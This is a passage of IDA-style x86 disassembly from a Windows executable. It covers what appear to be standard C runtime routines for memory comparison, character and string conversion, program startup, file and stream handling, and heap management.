mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41DF8D
test eax, 1
jz short loc_41DF6D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41DFBA
inc esi
inc edi
dec eax
jz short loc_41DF8A
loc_41DF6D: ; CODE XREF: sub_41DF40+20j
; sub_41DF40+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41DFBA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41DFBA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41DF6D
loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj
; sub_41DF40+84j
pop edi
pop esi
locret_41DF8C: ; CODE XREF: sub_41DF40+6j
retn
; ---------------------------------------------------------------------------
loc_41DF8D: ; CODE XREF: sub_41DF40+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41DFC2
repe cmpsd
jz short loc_41DFC2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41DFB5
cmp ch, dh
jnz short loc_41DFB5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41DFB5
cmp ch, dh
loc_41DFB5: ; CODE XREF: sub_41DF40+63j
; sub_41DF40+67j ...
mov eax, 0
loc_41DFBA: ; CODE XREF: sub_41DF40+26j
; sub_41DF40+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DFC2: ; CODE XREF: sub_41DF40+55j
; sub_41DF40+59j
test eax, eax
jz short loc_41DF8A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41DFB5
dec eax
jz short loc_41DFE9
cmp dh, ch
jnz short loc_41DFB5
dec eax
jz short loc_41DFE9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41DFB5
dec eax
loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj
; sub_41DF40+96j
pop edi
pop esi
retn
sub_41DF40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p
; sub_4185D3+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBE94, 0
push ebx
push esi
push edi
jnz short loc_41E019
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41E0B2
cmp eax, 5Ah
jg loc_41E0B2
add eax, 20h
jmp loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E019: ; CODE XREF: sub_41DFEC+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41E04D
cmp dword_43D094, esi
jle short loc_41E03B
push esi
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41E045
; ---------------------------------------------------------------------------
loc_41E03B: ; CODE XREF: sub_41DFEC+42j
mov eax, off_43CE88
mov al, [eax+ebx*2]
and eax, esi
loc_41E045: ; CODE XREF: sub_41DFEC+4Dj
test eax, eax
jnz short loc_41E04D
loc_41E049: ; CODE XREF: sub_41DFEC+ADj
mov eax, ebx
jmp short loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj
; sub_41DFEC+5Bj
mov edx, off_43CE88
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E071
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41E07A
; ---------------------------------------------------------------------------
loc_41E071: ; CODE XREF: sub_41DFEC+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41E07A: ; CODE XREF: sub_41DFEC+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DBE94
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_41E049
cmp eax, esi
jnz short loc_41E0A5
movzx eax, [ebp+var_4]
jmp short loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41E0B2: ; CODE XREF: sub_41DFEC+16j
; sub_41DFEC+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41DFEC endp
; =============== S U B R O U T I N E =======================================
sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp
; sub_419AE0+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41E0CE
loc_41E0C4: ; CODE XREF: sub_41E0B7+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41E0C4
loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41E0B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp
; sub_418AF1+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41E1A1
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41E1CE
cmp dword_4DBE94, esi
jnz short loc_41E125
cmp edi, esi
jbe loc_41E1CE
loc_41E104: ; CODE XREF: sub_41E0D4+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41E1CE
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41E104
jmp loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E125: ; CODE XREF: sub_41E0D4+26j
mov ebx, [ebp+arg_4]
mov esi, dword_4270E8
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DBEA4
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_41E1CD
call dword_427094 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_41E15F
loc_41E150: ; CODE XREF: sub_41E0D4+CBj
; sub_41E0D4+F7j
mov dword_4DBDEC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41E167: ; CODE XREF: sub_41E0D4+B3j
mov cl, [eax]
test cl, cl
jz short loc_41E189
mov edx, off_43CE88
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E17E
inc eax
loc_41E17E: ; CODE XREF: sub_41E0D4+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41E167
loc_41E189: ; CODE XREF: sub_41E0D4+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DBEA4
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_41E1CE
jmp short loc_41E150
; ---------------------------------------------------------------------------
loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj
cmp dword_4DBE94, esi
jnz short loc_41E1B4
push [ebp+arg_4]
call sub_41B9C0
pop ecx
jmp short loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DBEA4
call dword_4270E8 ; MultiByteToWideChar
cmp eax, esi
jz short loc_41E150
loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj
dec eax
loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj
; sub_41E0D4+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41E0D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E1D3 proc near ; CODE XREF: start+189j
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427700
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call dword_4271B0 ; GetVersion
xor edx, edx
mov dl, ah
mov dword_4DBE04, edx
mov ecx, eax
and ecx, 0FFh
mov dword_4DBE00, ecx
shl ecx, 8
add ecx, edx
mov dword_4DBDFC, ecx
shr eax, 10h
mov dword_4DBDF8, eax
xor esi, esi
push esi
call sub_41E672
pop ecx
test eax, eax
jnz short loc_41E23F
push 1Ch
call sub_41E2EE
pop ecx
loc_41E23F: ; CODE XREF: sub_41E1D3+62j
mov [ebp+var_4], esi
call sub_423B0B
call dword_4271AC ; GetCommandLineA
mov dword_4DD3AC, eax
call sub_4239D9
mov dword_4DBE44, eax
call sub_42378C
call sub_4236D3
call sub_41C164
mov [ebp+var_30], esi
lea eax, [ebp+var_5C]
push eax
call dword_4271A8 ; GetStartupInfoA
call sub_42367B
mov [ebp+var_64], eax
test byte ptr [ebp+var_30], 1
jz short loc_41E28C
movzx eax, [ebp+var_2C]
jmp short loc_41E28F
; ---------------------------------------------------------------------------
loc_41E28C: ; CODE XREF: sub_41E1D3+B1j
push 0Ah
pop eax
loc_41E28F: ; CODE XREF: sub_41E1D3+B7j
push eax
push [ebp+var_64]
push esi
push esi
call dword_4270A4 ; GetModuleHandleA
push eax
call sub_401221
mov [ebp+var_60], eax
push eax
call sub_41C191
mov eax, [ebp+var_14]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp+var_68], ecx
push eax
push ecx
call sub_4234F7
pop ecx
pop ecx
retn
sub_41E1D3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_41C1A2
; =============== S U B R O U T I N E =======================================
sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p
; sub_4236D3+4Ep ...
arg_0 = dword ptr 4
cmp dword_4DBE4C, 1
jnz short loc_41E2D7
call sub_423D98
loc_41E2D7: ; CODE XREF: sub_41E2C9+7j
push [esp+arg_0]
call sub_423DD1
push 0FFh
call off_43AE50
pop ecx
pop ecx
retn
sub_41E2C9 endp
; =============== S U B R O U T I N E =======================================
sub_41E2EE proc near ; CODE XREF: sub_41E1D3+66p
arg_0 = dword ptr 4
cmp dword_4DBE4C, 1
jnz short loc_41E2FC
call sub_423D98
loc_41E2FC: ; CODE XREF: sub_41E2EE+7j
push [esp+arg_0]
call sub_423DD1
pop ecx
push 0FFh
call dword_42706C ; ExitProcess
retn
sub_41E2EE endp
; =============== S U B R O U T I N E =======================================
sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap
; sub_42423B+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DD160
jnb loc_41E3AC
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD060h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41E3AC
push edi
call sub_4240AA
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E38B
cmp edi, 1
jz short loc_41E359
cmp edi, 2
jnz short loc_41E36F
loc_41E359: ; CODE XREF: sub_41E312+40j
push 2
call sub_4240AA
push 1
mov ebp, eax
call sub_4240AA
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41E38B
loc_41E36F: ; CODE XREF: sub_41E312+45j
push edi
call sub_4240AA
pop ecx
push eax
call dword_427070 ; CloseHandle
test eax, eax
jnz short loc_41E38B
call dword_427094 ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_41E38D
; ---------------------------------------------------------------------------
loc_41E38B: ; CODE XREF: sub_41E312+3Bj
; sub_41E312+5Bj ...
xor ebp, ebp
loc_41E38D: ; CODE XREF: sub_41E312+77j
push edi
call sub_424030
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41E3A8
push ebp
call sub_420C7F
pop ecx
jmp short loc_41E3BD
; ---------------------------------------------------------------------------
loc_41E3A8: ; CODE XREF: sub_41E312+8Bj
xor eax, eax
jmp short loc_41E3C0
; ---------------------------------------------------------------------------
loc_41E3AC: ; CODE XREF: sub_41E312+Ej
; sub_41E312+2Fj
and dword_4DBDF0, 0
mov dword_4DBDEC, 9
loc_41E3BD: ; CODE XREF: sub_41E312+94j
or eax, 0FFFFFFFFh
loc_41E3C0: ; CODE XREF: sub_41E312+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E312 endp
; =============== S U B R O U T I N E =======================================
sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41E3EE
test al, 8
jz short loc_41E3EE
push dword ptr [esi+8]
call sub_41BA91
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj
; sub_41E3C5+Ej
pop esi
retn
sub_41E3C5 endp
; =============== S U B R O U T I N E =======================================
sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp
; sub_41E490+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41E402
push esi
call sub_41E490
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E402: ; CODE XREF: sub_41E3F0+7j
push esi
call sub_41E42B
test eax, eax
pop ecx
jz short loc_41E412
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E412: ; CODE XREF: sub_41E3F0+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41E427
push dword ptr [esi+10h]
call sub_4240E7
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E427: ; CODE XREF: sub_41E3F0+26j
xor eax, eax
pop esi
retn
sub_41E3F0 endp
; =============== S U B R O U T I N E =======================================
sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap
; sub_41DA8B+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41E478
test ax, 108h
jz short loc_41E478
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41E478
push edi
push eax
push dword ptr [esi+10h]
call sub_4230FB
add esp, 0Ch
cmp eax, edi
jnz short loc_41E471
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41E478
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41E478
; ---------------------------------------------------------------------------
loc_41E471: ; CODE XREF: sub_41E42B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41E478: ; CODE XREF: sub_41E42B+14j
; sub_41E42B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41E42B endp
; =============== S U B R O U T I N E =======================================
sub_41E487 proc near ; CODE XREF: sub_4241E3p
push 1
call sub_41E490
pop ecx
retn
sub_41E487 endp
; =============== S U B R O U T I N E =======================================
sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap
; sub_41E487+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DD040, esi
jle short loc_41E4EE
loc_41E4A1: ; CODE XREF: sub_41E490+5Cj
mov eax, dword_4DC02C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E4E5
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41E4E5
cmp [esp+0Ch+arg_0], 1
jnz short loc_41E4CB
push eax
call sub_41E3F0
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E4E5
inc ebx
jmp short loc_41E4E5
; ---------------------------------------------------------------------------
loc_41E4CB: ; CODE XREF: sub_41E490+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41E4E5
test cl, 2
jz short loc_41E4E5
push eax
call sub_41E3F0
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E4E5
or edi, eax
loc_41E4E5: ; CODE XREF: sub_41E490+1Bj
; sub_41E490+23j ...
inc esi
cmp esi, dword_4DD040
jl short loc_41E4A1
loc_41E4EE: ; CODE XREF: sub_41E490+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41E4F9
mov eax, edi
loc_41E4F9: ; CODE XREF: sub_41E490+65j
pop edi
pop esi
pop ebx
retn
sub_41E490 endp
; =============== S U B R O U T I N E =======================================
sub_41E4FD proc near ; CODE XREF: sub_41E52A+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call dword_4270A4 ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_41E528
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41E528
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41E528: ; CODE XREF: sub_41E4FD+15j
; sub_41E4FD+1Cj
pop esi
retn
sub_41E4FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E52A proc near ; CODE XREF: sub_41E672+20p
var_122C = byte ptr -122Ch
var_19C = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41C500
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call dword_4270D0 ; GetVersionExA
test eax, eax
jz short loc_41E56D
cmp [ebp+var_88], 2
jnz short loc_41E56D
cmp [ebp+var_94], 5
jb short loc_41E56D
push 1
pop eax
jmp loc_41E66F
; ---------------------------------------------------------------------------
loc_41E56D: ; CODE XREF: sub_41E52A+27j
; sub_41E52A+30j ...
lea eax, [ebp+var_122C]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call dword_4271B4 ; GetEnvironmentVariableA
test eax, eax
jz loc_41E65C
xor ebx, ebx
lea ecx, [ebp+var_122C]
cmp [ebp+var_122C], bl
jz short loc_41E5AF
loc_41E59C: ; CODE XREF: sub_41E52A+83j
mov al, [ecx]
cmp al, 61h
jl short loc_41E5AA
cmp al, 7Ah
jg short loc_41E5AA
sub al, 20h
mov [ecx], al
loc_41E5AA: ; CODE XREF: sub_41E52A+76j
; sub_41E52A+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_41E59C
loc_41E5AF: ; CODE XREF: sub_41E52A+70j
lea eax, [ebp+var_122C]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41C850
add esp, 0Ch
test eax, eax
jnz short loc_41E5D1
lea eax, [ebp+var_122C]
jmp short loc_41E61A
; ---------------------------------------------------------------------------
loc_41E5D1: ; CODE XREF: sub_41E52A+9Dj
lea eax, [ebp+var_19C]
push 104h
push eax
push ebx
call dword_427078 ; GetModuleFileNameA
cmp [ebp+var_19C], bl
lea ecx, [ebp+var_19C]
jz short loc_41E605
loc_41E5F2: ; CODE XREF: sub_41E52A+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_41E600
cmp al, 7Ah
jg short loc_41E600
sub al, 20h
mov [ecx], al
loc_41E600: ; CODE XREF: sub_41E52A+CCj
; sub_41E52A+D0j
inc ecx
cmp [ecx], bl
jnz short loc_41E5F2
loc_41E605: ; CODE XREF: sub_41E52A+C6j
lea eax, [ebp+var_19C]
push eax
lea eax, [ebp+var_122C]
push eax
call sub_41C2E0
pop ecx
pop ecx
loc_41E61A: ; CODE XREF: sub_41E52A+A5j
cmp eax, ebx
jz short loc_41E65C
push 2Ch
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41E65C
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41E641
loc_41E633: ; CODE XREF: sub_41E52A+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_41E63C
mov [ecx], bl
jmp short loc_41E63D
; ---------------------------------------------------------------------------
loc_41E63C: ; CODE XREF: sub_41E52A+10Cj
inc ecx
loc_41E63D: ; CODE XREF: sub_41E52A+110j
cmp [ecx], bl
jnz short loc_41E633
loc_41E641: ; CODE XREF: sub_41E52A+107j
push 0Ah
push ebx
push eax
call sub_41C586
add esp, 0Ch
cmp eax, 2
jz short loc_41E66F
cmp eax, 3
jz short loc_41E66F
cmp eax, 1
jz short loc_41E66F
loc_41E65C: ; CODE XREF: sub_41E52A+5Cj
; sub_41E52A+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_41E4FD
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41E66F: ; CODE XREF: sub_41E52A+3Ej
; sub_41E52A+126j ...
pop ebx
leave
retn
sub_41E52A endp
; =============== S U B R O U T I N E =======================================
sub_41E672 proc near ; CODE XREF: sub_41E1D3+5Ap
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_4271BC ; HeapCreate
test eax, eax
mov dword_4DD3A4, eax
jz short loc_41E6C8
call sub_41E52A
cmp eax, 3
mov dword_4DD3A8, eax
jnz short loc_41E6AE
push 3F8h
call sub_41E6CF
pop ecx
jmp short loc_41E6B8
; ---------------------------------------------------------------------------
loc_41E6AE: ; CODE XREF: sub_41E672+2Dj
cmp eax, 2
jnz short loc_41E6CB
call sub_41F216
loc_41E6B8: ; CODE XREF: sub_41E672+3Aj
test eax, eax
jnz short loc_41E6CB
push dword_4DD3A4
call dword_4271B8 ; HeapDestroy
loc_41E6C8: ; CODE XREF: sub_41E672+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E6CB: ; CODE XREF: sub_41E672+3Fj
; sub_41E672+48j
push 1
pop eax
retn
sub_41E672 endp
; =============== S U B R O U T I N E =======================================
sub_41E6CF proc near ; CODE XREF: sub_41E672+34p
arg_0 = dword ptr 4
push 140h
push 0
push dword_4DD3A4
call dword_427150 ; RtlAllocateHeap
test eax, eax
mov dword_4DD39C, eax
jnz short loc_41E6EC
retn
; ---------------------------------------------------------------------------
loc_41E6EC: ; CODE XREF: sub_41E6CF+1Aj
mov ecx, [esp+arg_0]
and dword_4DD394, 0
and dword_4DD398, 0
push 1
mov dword_4DD390, eax
mov dword_4DD3A0, ecx
mov dword_4DD388, 10h
pop eax
retn
sub_41E6CF endp
; =============== S U B R O U T I N E =======================================
sub_41E717 proc near ; CODE XREF: sub_41BA91+17p
; sub_41BBE2+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DD398
lea ecx, [eax+eax*4]
mov eax, dword_4DD39C
lea ecx, [eax+ecx*4]
loc_41E727: ; CODE XREF: sub_41E717+26j
cmp eax, ecx
jnb short loc_41E73F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41E741
add eax, 14h
jmp short loc_41E727
; ---------------------------------------------------------------------------
loc_41E73F: ; CODE XREF: sub_41E717+12j
xor eax, eax
locret_41E741: ; CODE XREF: sub_41E717+21j
retn
sub_41E717 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E742 proc near ; CODE XREF: sub_41BA91+23p
; sub_41BBE2+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41EA66
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41E818
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E7A6
push 3Fh
pop edx
loc_41E7A6: ; CODE XREF: sub_41E742+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E7FA
cmp edx, 20h
jnb short loc_41E7D1
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E7F2
; ---------------------------------------------------------------------------
loc_41E7D1: ; CODE XREF: sub_41E742+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E7F2: ; CODE XREF: sub_41E742+86j
; sub_41E742+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41E7FD
; ---------------------------------------------------------------------------
loc_41E7FA: ; CODE XREF: sub_41E742+6Aj
mov ecx, [ebp+var_4]
loc_41E7FD: ; CODE XREF: sub_41E742+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41E818: ; CODE XREF: sub_41E742+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E826
push 3Fh
pop edx
loc_41E826: ; CODE XREF: sub_41E742+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E8C9
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41E84B
mov ebx, esi
loc_41E84B: ; CODE XREF: sub_41E742+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41E85D
mov edx, esi
loc_41E85D: ; CODE XREF: sub_41E742+117j
cmp ebx, edx
jz short loc_41E8C4
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E8AC
cmp ebx, 20h
jnb short loc_41E88D
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E8AC
; ---------------------------------------------------------------------------
loc_41E88D: ; CODE XREF: sub_41E742+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E8AC: ; CODE XREF: sub_41E742+128j
; sub_41E742+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E8C4: ; CODE XREF: sub_41E742+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E8CC
; ---------------------------------------------------------------------------
loc_41E8C9: ; CODE XREF: sub_41E742+EDj
mov ebx, [ebp+arg_0]
loc_41E8CC: ; CODE XREF: sub_41E742+185j
cmp [ebp+var_C], 0
jnz short loc_41E8DA
cmp ebx, edx
jz loc_41E95B
loc_41E8DA: ; CODE XREF: sub_41E742+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E95B
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E932
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E921
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E921: ; CODE XREF: sub_41E742+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E95B
; ---------------------------------------------------------------------------
loc_41E932: ; CODE XREF: sub_41E742+1C9j
cmp byte ptr [ebp+arg_4+3], 0
